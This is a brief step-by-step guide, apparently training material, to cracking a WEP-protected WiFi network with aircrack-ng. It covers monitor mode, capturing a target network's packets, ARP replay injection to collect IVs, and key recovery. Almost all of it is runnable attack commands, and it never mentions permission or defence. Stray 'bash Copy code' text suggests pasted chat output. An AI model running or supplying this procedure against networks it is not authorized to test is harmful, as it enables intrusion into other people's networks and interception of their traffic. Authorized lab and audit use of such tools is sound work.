InSkill-2

Step 1: Setting Up Monitor Mode with a WiFi Adapter

1.1 Ensure Your WiFi Adapter Supports Monitor Mode

- First, make sure that your WiFi adapter supports monitor mode and packet injection. You can check this by running the following command:

  ```
  "iwconfig"
  ```

  - If your WiFi adapter is listed and shows "Mode: Managed," you can proceed to switch it to monitor mode.

1.2 Switch to Monitor Mode

- Use the following commands to put your WiFi adapter into monitor mode:

  ```
  sudo ifconfig wlan0 down
  sudo iwconfig wlan0 mode monitor
  sudo ifconfig wlan0 up
  ```

  - Replace `wlan0` with your adapter's name if it's different.
- **Verify Monitor Mode**:
  - Check if your adapter is now in monitor mode using:

    ```
    bash
    Copy code
    iwconfig
    ```

Step 2: Capturing Packets

2.1 Start Airodump-ng to Capture Packets

- Use `airodump-ng` to start capturing packets:

  ```
  "sudo airodump-ng wlan0"
  ```

  - This will show you a list of nearby wireless networks. Look for the network you want to target (i.e., the one with WEP encryption).
- **Capture Packets from a Specific Network**:
  - Once you have identified the target network, use the following command to capture packets:

    ```
    "sudo airodump-ng --bssid [Target_BSSID] --channel [Channel] --
    write capture wlan0"
    ```

  - Replace `[Target_BSSID]` with the BSSID of the network and `[Channel]` with the channel number.

Step 3: Capturing ARP Requests

3.1 Use Aireplay-ng to Capture ARP Requests

- Run the following command to start capturing ARP requests:

  ```
  "sudo aireplay-ng --arpreplay -b [Target_BSSID] -h [Your_MAC] wlan0"
  ```

  - Replace `[Target_BSSID]` with the BSSID of the target network and `[Your_MAC]` with your MAC address (can be found using `ifconfig`).

3.2 Collect IVs for Cracking

- Continue running `airodump-ng` until you have collected enough IVs (Initialization Vectors). The number required may vary, but usually, around 10,000 to 20,000 IVs are needed.

Step 4: Crack the WEP Key

4.1 Using Aircrack-ng to Crack the Key

- Once you've collected enough IVs, use `aircrack-ng` to crack the WEP key:

  ```
  "sudo aircrack-ng -b [Target_BSSID] capture*.cap"
  ```

  - This will start cracking the WEP key using the captured IVs.